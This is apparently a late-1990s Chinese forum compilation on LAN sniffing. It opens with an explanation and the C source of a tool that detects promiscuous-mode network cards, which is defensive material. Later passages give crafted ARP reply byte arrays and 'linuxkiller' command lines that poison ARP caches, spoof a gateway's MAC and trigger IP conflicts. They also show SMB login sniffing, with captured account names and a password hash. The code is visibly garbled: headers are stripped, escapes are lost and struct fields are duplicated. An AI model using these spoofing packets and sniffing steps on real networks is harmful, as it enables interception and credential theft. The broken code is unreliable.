技術細節 L0pht 公司已經說明了,如下:
Win9x/NT
正常情況下,就是說不在混亂模式,網卡檢測是不是廣播地址
要比較看收到的目的乙太網址是否等於ff.ff.ff.ff.ff.ff
是則認為是廣播地址。
在混亂模式時,網卡檢測是不是廣播地址只看收到包的目的以太
網址的第一個八位組值,是0xff則認為是廣播地址。
利用這點細微差別就可以檢測出Sniffer.
Linux
以前就提出過,一些版本內核有這種問題:
當混雜模式時,每個包都被傳到了操作系統內核以處理。
在處理某些包,只看IP地址而不看乙太網頭中的源物理地址。
所以:
使用一個不存在的目的MAC,正確的目的IP,受影響
的內核將會由於是混雜模式而處理它,並將之交給相應系統
堆棧處理。從而實現檢測Sniffer
總之,只要發一個乙太網頭中目的地址是ff.00.00.00.00.00
的ARP包(l0pht公司是ff.ff.ff.ff.ff.00)就可以檢測出Linux和
Windows網卡處於混亂狀態的計算機.
以下是一個Linux下用於檢測Linux下Sniffer的程序,很多地方都貼
過了,我只改了一句話,這樣也可以檢測出Windows機器。:)
/*
gcc -lbsd -O3 -o linuxanti linuxanti.c
*/
/*
Network Promiscuous Ethernet Detector.
Linux 2.0.x / 2.1.x, libc5 & GlibC
-----------------------------------------
(c) 1998 savage@apostols.org
-----------------------------------------
Scan your subnet, and detect promiscuous
Windows & linuxes. It really works, not a joke.
-----------------------------------------
$Id: neped.c,v 1.4 1998/07/20 22:31:52 savage Exp $
*/
#include
#include /* for nonblocking */
#include
#include /* basic socket definitions */
#include /* for ifreq */
#include /* inet(3) functions */
#define ETH_P_ARP 0x0806
#define MAX_PACK_LEN 2000
#define ETHER_HEADER_LEN 14
#define ARPREQUEST 1
#define ARPREPLY 2
#define perr(s) fprintf(stderr,s)
struct arp_struct
{
u_char dst_mac[6];
u_char src_mac[6];
u_short pkt_type;
u_short hw_type;
u_short pro_type;
u_char hw_len;
u_char pro_len;
u_short arp_op;
u_char sender_eth[6];
u_char sender_ip[4];
u_char target_eth[6];
u_char target_ip[4];
};
union
{
u_char full_packet[MAX_PACK_LEN];
struct arp_struct arp_pkt;
}
a;
#define full_packet a.full_packet
#define arp_pkt a.arp_pkt
char *
inetaddr ( u_int32_t ip )
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}
char *
hwaddr (u_char * s)
{
static char buf[30];
sprintf (buf, "%02X:%02X:%02X:%02X:%02X:%02X", s[0], s[1], s[2], s[3],
s[4], s[5]);
return buf;
}
void
main (int argc, char **argv)
{
int rec;
int len, from_len, rsflags;
struct ifreq if_data;
struct sockaddr from;
u_int8_t myMAC[6];
u_int32_t myIP, myNETMASK, myBROADCAST, ip, dip, sip;
if (getuid () != 0)
{
perr ("You must be root to run this program!n");
exit (0);
}
if (argc != 2)
{
fprintf(stderr,"Usage: %s eth0n", argv[0]);
exit (0);
}
if ((rec = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
{
perror("socket");
exit (0);
}
printf ("----------------------------------------------------------n");
strcpy (if_data.ifr_name, argv[1]);
if (ioctl (rec, SIOCGIFHWADDR, &if_data) < 0) {
perr ("can get HW addres of my interface!n");
exit(1);
}
memcpy (myMAC, if_data.ifr_hwaddr.sa_data, 6);
printf ("> My HW Addr: %sn", hwaddr (myMAC));
if (ioctl (rec, SIOCGIFADDR, &if_data) < 0) {
perr ("can get IP addres of my interface!n");
exit(1);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
myIP = ntohl (ip);
printf ("> My IP Addr: %sn", inetaddr(ip));
if (ioctl (rec, SIOCGIFNETMASK, &if_data) < 0)
perr ("can get NETMASK addres of my interface!n");
memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
myNETMASK = ntohl (ip);
printf ("> My NETMASK: %sn", inetaddr(ip));
if (ioctl (rec, SIOCGIFBRDADDR, &if_data) < 0)
perr ("can get BROADCAST addres of my interface!n");
memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
myBROADCAST = ntohl (ip);
printf ("> My BROADCAST: %sn", inetaddr(ip));
if ((rsflags = fcntl (rec, F_GETFL)) == -1)
{
perror ("fcntl F_GETFL");
exit (1);
}
if (fcntl (rec, F_SETFL, rsflags | O_NONBLOCK) == -1)
{
perror ("fcntl F_SETFL");
exit (1);
}
printf ("----------------------------------------------------------n");
printf ("> Scanning ....n");
for (dip = (myIP & myNETMASK) + 1; dip < myBROADCAST; dip++)
{
bzero(full_packet, MAX_PACK_LEN);
memcpy (arp_pkt.dst_mac, "255255255255255", 6); /* ff:ff:ff:ff:ff:00
:) */
/* Only change this line! */
memcpy (arp_pkt.src_mac, myMAC, 6);
arp_pkt.pkt_type = htons( ETH_P_ARP );
arp_pkt.hw_type = htons( 0x0001 );
arp_pkt.hw_len = 6;
arp_pkt.pro_type = htons( 0x0800 );
arp_pkt.pro_len = 4;
arp_pkt.arp_op = htons (ARPREQUEST);
memcpy (arp_pkt.sender_eth, myMAC, 6);
ip = htonl (myIP);
memcpy (arp_pkt.sender_ip, &ip, 4);
memcpy (arp_pkt.target_eth, "", 6);
ip = htonl (dip);
memcpy (arp_pkt.target_ip, &ip, 4);
strcpy(from.sa_data, argv[1]);
from.sa_family = 1;
if( sendto (rec, full_packet, sizeof (struct arp_struct), 0, &from,
sizeof(from)) < 0)
perror ("sendto");
usleep (50);
len = recvfrom (rec, full_packet, MAX_PACK_LEN, 0, &from, &from_len);
if (len <= ETHER_HEADER_LEN)
continue;
memcpy (&ip, arp_pkt.target_ip, 4);
memcpy (&sip, arp_pkt.sender_ip, 4);
if (ntohs (arp_pkt.arp_op) == ARPREPLY
&& ntohl (ip) == myIP
&& ( dip - ntohl(sip) >= 0 )
&& ( dip - ntohl(sip) <= 2 ) )
{
printf ("*> Host %s, %s **** Promiscuous mode detected !!!n",
inetaddr (sip),
hwaddr (arp_pkt.sender_eth));
}
}
printf ("> End.n");
exit (0);
}
Sniffer Scaner
Ace Studio , 1999. (AceStudio@hotmail.com)
運行環境:Win95/98,無需Winsock
本程序可以檢測出本網路內正在運行Sniffer的計算機,或者說
網卡處於混亂狀態。對方的操作系統可以是Win95/98/NT,Linux。
Sniffer一般只能監聽連到同一集線器上計算機(這主要看網路的
拓撲結構),但檢測Sniffer可沒這種限制,只要與對方通訊可以不過
路由。只要符合此條件其他網路中的Sniffer也可以查出。
一般不必配置,程序會自動檢測網路配置。一旦掃描發現有人竊
聽,會提示對方的IP, MAC,並會記錄到日誌(Antilog.txt)中。
註:有時候會誤報。一般是某些網卡驅動本身的問題
可以在以下位置下載
http://202.115.16.8/~skyfly/net/anti.zip
http://www2.neiep.edu.cn/ace/net/anti.zip
每台主機進入LAN時會向整個子網發送免費ARP通知報文,即該request包是
利用廣播方式請求解析自己的IP地址,但源和目標IP已經就位了。
免費ARP(源IP和目標IP一致)請求意味著一個包就影響了整個子網,
如果一個錯誤的免費ARP請求出現,整個子網都被攪亂了。
即使主機不發送免費ARP報文,也會因為後續的request請求導致自己的IP-MAC
對進入LAN上所有主機的ARP Cache中,所以衝突與否與免費ARP包沒有必然
聯繫。這個結論可以這樣理解,一台Linux主機與pwin98爭奪IP地址,Linux
主機將爭奪成功,pwin98卻一直在報告IP衝突,顯然後面所有的IP衝突報告
都與免費ARP包沒有關係了。
in_arpinput() 函數是4.XBSD-Lite2中的經典實現
1. 如果針對本機某個IP地址的請求到達,響應被送出。ARP入口
被建立(如果相應入口不存在)。這個優化避免過多的ARP報文交換。
2. 如果ARP響應到達,相應的ARP入口建立完成,異己主機的MAC地址
存儲在sockaddr_dl結構中,隊列中目標是該異己主機的報文現在
可以發送了。
3. 假如異己主機發送了一個ARP請求包或者響應包,包中源IP地址等
於自己的IP地址,那麼兩台之中必有一台錯誤配置了IP地址。Net/3
偵測到這個錯誤並向管理員報告。
4. 主機接收到來自異己主機的ARP包,該異己主機的ARP入口已經存在,
若包中異己主機的MAC地址已經改變,則相應的ARP入口中的MAC地址
得到更新。
5. 主機可以配置成proxy ARP server。這意味著它代替目標主機響應
ARP請求。卷I的4.6節討論了proxy ARP。用arp命令可以配置一台主
機成為proxy ARP server。
從3可以看到什麼時候進行了衝突監測,從4可以看到什麼時候發生了ARP Cache
動態修改。
./linuxkiller -o 0x80000200 -c 0x0806 -b140002 -q eth0
捕捉一個ARP REPLY報文的完整二進位顯示
byteArray [ 60 bytes ] ---->
00000000 00 00 21 CE 28 A4 00 00-21 D1 22 F1 08 06 00 01 ..!??.!??...
00000010 08 00 06 04 00 02 00 00-21 D1 22 F1 C0 A8 43 6F ........!瘍"括Co
00000020 00 00 21 CE 28 A4 C0 A8-43 74 20 20 20 20 20 20 ..!韋(括Ct
00000030 20 20 20 20 20 20 20 20-20 20 20 20
[arp/rarp] hardware = 0001 protocol = 0800
hardAddLen = 06 proAddLen = 04
00:00:21:D1:22:F1 -> 00:00:21:CE:28:A4
192.168.67.111 -> 192.168.67.116 ( ARP Reply )
00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 C0 A8-43 74
這種報文導致192.168.67.116的ARP CACHE中出現
192.168.67.111的MAC是00-00-00-00-00-00
52:54:AB:13:E1:C8 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 FF-FF-FF-EE-EE-EE C0 A8 43 6C
00 00 00 00 00 00 C0 A8-43 7C
這種報文導致192.168.67.124的ARP CACHE中出現
192.168.67.108的MAC是FF-FF-FF-EE-EE-EE
00 00 21 CE 28 A4 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00 00-00 00 00 00 C0 A8 43 6F
00 00 00 00 00 00 00 00 00 00
這種不可以,因為192.168.67.116被寫成了0.0.0.0
00 00 00 11 11 11 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8-43 6A
這種導致192.168.67.106上報告ARP衝突,引發衝突的
MAC地址是00-00-22-F1-21-D1
00-00-21-D1-22-F1 00 00-00 00 00 00 08 06 00 01
08 00 06 04 00 02 00-00-22-F1-21-D1 C0 A8 43 65
這種導致192.168.67.101上報告ARP衝突
把上面的報文cat > linuxkiller.byteArray,然後執行
./linuxkiller -k linuxkiller.byteArray -w 5
將導致發送了五個衝突包出去,會立刻看到效果。
如果是在Windows下,用NetXray發送也可以,不過NetXray有個毛病,
非要一定大小的報文才給發送,不能發送任意位元組的報文,所以可能
你需要填充部分數據。ARP報文沒有校驗和的概念,所以也不用考慮
重新計算校驗和的問題。
衝突沒有什麼意思,改寫ARP Cache有點用,就是所以arp spoof的
一部分。免費ARP是移動IP所需要的。Linux解決辦法是始終尊重
ATF_PERM標誌, 就是說靜態ARP入口不會在ARP性能優化規則下被接收
到的ARP包動態改變。Pwin98下用arp -s建立的靜態ARP入口會被接收到
的ARP包動態改變,至少我測試過向全子網廣播發送ARP請求包,企圖修
改對應網關IP的MAC地址為錯誤的MAC,成功。因為ARP廣播包不受
Lan Switch或者Smart Hub的影響,所以這是很無奈的一個結論。
struct mysmbhdr
{
u_char smb_c[4]; /* 0xFF SMB,必須是這四個位元組 */
u_char smb_command; /* 目前只處理0x25 */
u_char smb_errorclass; /* 0 Success,當這四個位元組全0時才繼續處
理 *
u_char smb_reserved0; /* 0x00 */
u_short smb_errorcode; /* 00 00 Success */
u_char smb_flags1; /* 0x80 Server Response,只處理這種情況
*/
u_short smb_flags2; /* 主機位元組順序,不要理會 */
u_char smb_pad0[12]; /* 全0的填充位元組 */
u_short smb_treeid; /* 主機位元組順序 */
u_short smb_callerpid; /* 主機位元組順序 */
u_short smb_unauthuid; /* 主機位元組順序 */
u_short smb_multiplexid; /* 主機位元組順序 */
u_char smb_countofparam; /* 從smb_sentparambytes開始有多少個u_sh
ort# 不要理會 */
u_short smb_sentparambytes; /* 主機位元組順序 */
u_short smb_totalsentdata; /* 主機位元組順序 */
u_char smb_countofparam; /* 從smb_sentparambytes開始有多少個u_sh
ort?
u_short smb_sentparambytes; /* 主機位元組順序 */
u_short smb_totalsentdata; /* 主機位元組順序 */
u_short smb_reserved1; /* 00 00 */
u_short smb_paramcount; /* 主機位元組順序 */
u_short smb_paramoffset; /* 主機位元組順序,利用這個偏移去取共享資
源個
?*/
u_short smb_paramdisplacement; /* 主機位元組順序 */
u_short smb_datacount; /* 主機位元組順序 */
u_short smb_dataoffset; /* 主機位元組順序,從這個偏移開始處理 */
u_short smb_datadisplacement; /* 主機位元組順序 */
};
口令明文傳輸的時候
./linuxkiller -v 000021d40b92 -u 000000111111 -a 110000 -b 2575006500680B32
-f 2200
從192.168.67.106到192.168.67.107單向MAC過濾,分析SMB報文,對TCP數據區偏移25H
處進進?
位元組過濾u.e.h.2
[ tcpsmb ] 192.168.67.106 [ 1190 ] --> 192.168.67.107 [ 139 ]
byteArray [ 143 bytes ] ---->
00000000 00 00 00 8B FF 53 4D 42-73 00 00 00 00 10 00 00 ...?MBs.......
00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?
00000020 01 00 82 A6 0D 75 00 65-00 68 0B 32 00 00 00 8A ..??u.e.h.2...
00000030 14 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ...............
(
00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC
H
00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi
n
00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0......
00000070 09 00 1B 00 XX XX XX XX-XX XX XX XX 00 5C 5C 56 ....XXXXXXXX.
V
00000080 45 4E 55 53 5C 53 43 5A-00 3F 3F 3F 3F 3F 00 ENUSSCZ.?????.
口令加密傳輸
./linuxkiller -u 000000111111 -a 110000 -b 2575006500680B32 -f 200
[ tcpsmb ] 192.168.67.106 [ 1136 ] --> 192.168.67.107 [ 139 ]
byteArray [ 158 bytes ] ---->
00000000 00 00 00 9A FF 53 4D 42-73 00 00 00 00 10 00 00 ...?MBs.......
00000010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 CD 16 ..............?
00000020 01 00 01 4E 0D 75 00 65-00 68 0B 32 00 00 00 C7 ...N.u.e.h.2...
00000030 1F 00 00 01 00 01 00 00-00 00 00 01 00 00 00 28 ...............
(
00000040 00 00 00 53 43 5A 00 56-45 4E 55 53 54 45 43 48 ...SCZ.VENUSTEC
H
00000050 00 57 69 6E 64 6F 77 73-20 34 2E 30 00 57 69 6E .Windows 4.0.Wi
n
00000060 64 6F 77 73 20 34 2E 30-00 04 FF 00 00 00 02 00 dows 4.0......
00000070 18 00 2A 00 E4 7F 2C 5D-88 04 86 D5 2A 96 73 3C ..*.,]????s<
00000080 4E 95 67 40 B8 38 F5 CB-6C 11 6D 1C 5C 5C 56 45 N?g@?跛l.m.V
E
00000090 4E 55 53 5C 53 43 5A 00-3F 3F 3F 3F 3F 00 NUSSCZ.?????.
53435a00 SCZ
56454e55535445434800 VENUSTECH
57696e646f777320342e3000 Windows 4.0
57696e646f777320342e3000 Windows 4.0
04ff000000020018002a00
e47f2c5d880486d52a96733c4e956740b838f5cb6c116d1c
5c5c56454e55535c53435a00 VENUSSCZ
3f3f3f3f3f00
用網路刺客保存下來的結果
SCZVENUSTECH:3:9f62be236e88c1be:000053435a0056454e5553544543480057696e646f7
7732
:000000000000000000000000000000000000000000000000
大凡兄弟們給程序,不少是去掉了頭文件,
這個討論下去沒有意義,我也不說什麼了,反正下面的
頭文件會用的自己用去。注意,有些頭文件是有順序
的,我給的是可以用的,你如果增加或減少了什麼,
不要動已經給出的順序。linux下編譯socket程序不
象solaris下有-lnsl -lsocket之類的開關,直接gcc就
可以了
#include /* for isalpha */
#include
#include
#include
#include /* ANSI C header file */
#include /* for syslog() */
#include
#include /* for nonblocking */
#include
#include /* for getpass */
#include /* for pthread_ */
#include
#include
#include /* timespec{} for pselect() */
#include
#include /* for mmap */
#include /* for poll */
#include /* basic socket definitions */
#include /* for S_xxx file mode constants */
#include /* timeval{} for select() */
#include /* basic system data types */
#include /* for iovec{} and readv/writev */
#include /* for Unix domain sockets */
#include
#include /* for share memory */
#include
#include /* for PAGE_SIZE */
#include /* for ifreq */
#include
#include /* sockaddr_in{} and other Internet defns */
#include /* for iphdr */
#include
/* for icmphdr */
#include /* for igmp */
#include /* for tcphdr */
#include /* for udphdr */
#include /* for arphdr */
#include /* inet(3) functions */
#include
/* for ethhdr #define ETH_P_ALL 0x0003 */
#include
/* for struct sockaddr_ll */
#include
#include
#include /* for sysctl */
首先非常感謝 skyfly 前面的介紹,解答了我一個迷惑很久的問題。
上次從清華搞回linux源代碼編譯運行前自以為是地修改了
下面這條語句中的mac地址,以前我以為只要是fake mac就可以
到達探測效果,沒有想到還有其他竅道。現在用下面這條語句,就可
以同時針對windows和linux了
memcpy( arp_pkt.dst_mac, "xff", 6 ); /* ff:00:00:00:00:00 */
估計源代碼也是書寫錯誤,不應該是255255255255255的,
這種情況下只能監測出linux下的混雜模式網卡,而不能探測到NetXray的存在。
因為發送出去的是AD:AD:AD:AD:AD:0,這個fake mac依舊發現了SOCK_PACKET的存在,
但沒有發現NetXray的存在。而ff:00:00:00:00:00發現了NetXray和IPMan的存在,
後者也就意味著所有使用Vpacket.vxd的都將被發現,包括網路刺客和S-Term。
不過 pred 也指出過,對網卡的promisc模式的監測是根據操作系統的不同反應來進行
的,監視的時候可以不裝任何協議,這樣就查不出promisc模式的網卡了。
雖然我沒有在不裝任何協議的情況下進行過監聽,但 pred 指出的這個問題應該是存在
的。建議這樣,把某台已經可以正常連入Lan的Pwin98的所有協議都卸載掉,重新安裝
NetXray或者直接使用IPMan進行監聽,就知道效果如何了。尤其是那種專門用來進行
區域網分析的硬體設備,估計這個程序是監測不到它們的存在。話說回來,有幾個
會在自己本機不裝網路協議的情況下進行監聽呢,所以還是很有實際意義的。
只要啟動了NetXray,網卡就進入了混雜模式,這個可以從它即使不進行監聽也會報告網
絡衝突包出現得到證實,同樣Boy系列的工具、LinkViewPro等等都一樣,只要啟動了,
即使沒有進行監聽,也會設置網卡到混雜模式,退出后取消混雜模式。但是使用Vpacke
t.vx
的那些工具不是的,網路刺客,如果你不選擇進行監聽,網卡依舊在普通模式。不知道
使用packet.sys的NT下的監聽工具又是怎麼個樣子,沒測試過。在Linux下,如果你
是root用戶,ifconfig eth0 promisc后,運行antisniff,發現也被監測到了,可以
逗別人玩玩嘛,讓他來找你麻煩,然後開始詭辯。
雖然使用過L0pht的antisniff,一直奇怪為什麼自己從清華弄來的源代碼不行而它的
1.01可以,今天經skyfly一解釋,明白啦,再次感謝 skyfly 。看來了解原理是一回事
情,深入了解后加以利用又是另外一回事情,早該用NetXray看看antisniff發了些什麼
探
測包出來的,sigh
如果探測出來有混雜模式網卡存在,你該怎麼辦,辦法是冷靜,不要氣洶洶地去找人,
沒有意義,也不要無聊地進行所謂的自衛反擊,目前最嚴重的問題是監聽BBS,這個
可以通過使用ssh解決,華中站等Y2K危機過了,可以考慮使用sshd。
最後需要說明的是,這種監測是發送了大量報文到網路上的,網路分析軟體會立刻發現
出
現異常高峰報文,如果你監測0-255範圍,結果255的兄弟立刻斷線,你就無法發現他剛
才
監聽過你。而且,最好不要頻繁監測,網路負載都被你拖下來了,還說什麼其他的。矛
盾
的對立面呀,還是趕快使用IPV6以及SSL吧,要不就只好依賴於革命自覺性(鬼相信)。